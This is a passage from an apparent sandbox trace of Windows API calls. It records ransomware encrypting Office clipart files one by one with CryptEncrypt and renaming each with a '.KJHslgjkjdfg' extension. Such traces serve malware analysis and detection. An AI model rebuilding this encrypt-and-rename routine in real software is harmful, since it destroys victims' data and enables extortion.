dwReserved1=0x2e0000, cFileName="J0212601.WMF", cAlternateFileName="")) returned 1 [0204.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.287] GetProcessHeap () returned 0x2ef0000 [0204.287] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.287] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.287] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.287] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.289] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.289] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.289] GetProcessHeap () returned 0x2ef0000 [0204.289] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.289] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.289] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.289] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.290] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.290] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.290] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.290] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.290] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.290] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.290] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.290] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.290] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x25cc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x25cc, lpOverlapped=0x0) returned 1 [0204.291] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x25d0, dwBufLen=0x25d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x25d0) returned 1 [0204.292] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.292] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x25d0, lpOverlapped=0x0) returned 1 [0204.292] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.292] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x26a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.292] SetEndOfFile (hFile=0x130) returned 1 [0204.295] GetProcessHeap () returned 0x2ef0000 [0204.295] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.295] GetProcessHeap () returned 0x2ef0000 [0204.295] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.295] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf.kjhslgjkjdfg")) returned 1 [0204.296] CloseHandle (hObject=0x130) returned 1 [0204.296] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x199a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0212685.WMF", cAlternateFileName="")) returned 1 [0204.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.300] GetProcessHeap () returned 0x2ef0000 [0204.300] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.300] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.300] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.300] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0204.303] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.303] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.303] GetProcessHeap () returned 0x2ef0000 [0204.303] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.303] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.303] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.303] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.303] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.303] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.303] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.303] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.303] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.303] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.304] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.304] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.304] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x199a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x199a, lpOverlapped=0x0) returned 1 [0204.305] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x19a0, dwBufLen=0x19a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x19a0) returned 1 [0204.305] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.305] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x19a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x19a0, lpOverlapped=0x0) returned 1 [0204.305] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.305] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.305] SetEndOfFile (hFile=0x130) returned 1 [0204.306] GetProcessHeap () returned 0x2ef0000 [0204.306] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.306] GetProcessHeap () returned 0x2ef0000 [0204.306] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.306] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf.kjhslgjkjdfg")) returned 1 [0204.308] CloseHandle (hObject=0x130) returned 1 [0204.308] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0212751.WMF", cAlternateFileName="")) returned 1 [0204.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.310] GetProcessHeap () returned 0x2ef0000 [0204.310] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.310] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.310] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.310] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.317] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.317] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.317] GetProcessHeap () returned 0x2ef0000 [0204.317] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.317] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.317] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.317] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.317] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.317] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.317] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.317] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.317] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.317] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.317] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.318] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.318] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x80c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x80c, lpOverlapped=0x0) returned 1 [0204.318] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x810, dwBufLen=0x810 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x810) returned 1 [0204.318] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.318] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x810, lpOverlapped=0x0) returned 1 [0204.318] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.318] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.318] SetEndOfFile (hFile=0x130) returned 1 [0204.321] GetProcessHeap () returned 0x2ef0000 [0204.321] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.321] GetProcessHeap () returned 0x2ef0000 [0204.321] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.321] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf.kjhslgjkjdfg")) returned 1 [0204.323] CloseHandle (hObject=0x130) returned 1 [0204.324] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0212953.WMF", cAlternateFileName="")) returned 1 [0204.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.325] GetProcessHeap () returned 0x2ef0000 [0204.325] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.325] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.325] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.325] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0204.327] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.327] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.328] GetProcessHeap () returned 0x2ef0000 [0204.328] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.328] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.328] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.328] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.328] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.328] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.328] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.328] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.328] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.328] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.329] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.329] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.329] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1d4a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1d4a, lpOverlapped=0x0) returned 1 [0204.330] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1d50, dwBufLen=0x1d50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1d50) returned 1 [0204.330] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.330] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1d50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1d50, lpOverlapped=0x0) returned 1 [0204.330] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.330] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.330] SetEndOfFile (hFile=0x130) returned 1 [0204.333] GetProcessHeap () returned 0x2ef0000 [0204.333] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.333] GetProcessHeap () returned 0x2ef0000 [0204.333] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.333] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf.kjhslgjkjdfg")) returned 1 [0204.334] CloseHandle (hObject=0x130) returned 1 [0204.335] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0213243.WMF", cAlternateFileName="")) returned 1 [0204.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.336] GetProcessHeap () returned 0x2ef0000 [0204.336] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.336] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.336] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.336] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, 